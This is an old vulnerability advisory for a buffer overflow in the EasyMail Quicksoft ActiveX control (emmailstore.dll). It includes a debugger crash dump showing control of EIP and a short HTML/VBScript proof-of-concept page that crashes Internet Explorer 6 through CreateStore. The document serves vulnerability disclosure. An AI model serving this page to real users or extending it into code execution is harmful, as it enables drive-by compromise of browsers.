81 lines
No EOL
2.2 KiB
Text
81 lines
No EOL
2.2 KiB
Text
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Application: EasyMail Quicksoft 6.0.2.0
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Platforms: Windows XP Professional French SP2
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crash: IE 6.0.2900.2180
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Exploitation: remote Code Execution
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Date: 2009-08-24
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Author: Francis Provencher (Protek Research Lab's)
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#####################################################################################
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1) Introduction
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2) Technical details and bug
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3) The Code
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#####################################################################################
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===============
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1) Introduction
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===============
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Create, send, download, parse, print and store internet email messages in your classic windows application. Designed for Visual Basic, ASP, C++, Delphi, ColdFusion, PowerBuilder, Access and other development environments. COM or standard DLL interfaces. This is the software that processes hundreds of millions of email messages on the Internet every day.
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#####################################################################################
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============================
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2) Technical details
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============================
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Name: emmailstore.dll
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Ver.: 6.0.2.0
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CLSID: {18A76B9A-45C1-11D3-80DC-00C04F6B92D0}
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ModLoad: 10000000 1002c000 C:\WINDOWS\system32\emmailstore.dll
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(1670.59c): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=000002bd ebx=00000000 ecx=0003ea80 edx=00030608 esi=00038790 edi=00000193
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eip=41414141 esp=0013eb44 ebp=0013eb60 iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
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41414141 ?? ???
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#####################################################################################
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===========
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3) The Code
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===========
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Proof of concept DoS code;
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<HTML>
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<object classid='clsid:18A76B9A-45C1-11D3-80DC-00C04F6B92D0' id='target' />
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<script language='vbscript'>
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argCount = 2
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arg1=String(402, "A")
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arg2=1
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target.CreateStore arg1 ,arg2
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</script>
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<html>
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~
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#####################################################################################
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# milw0rm.com [2009-09-15] |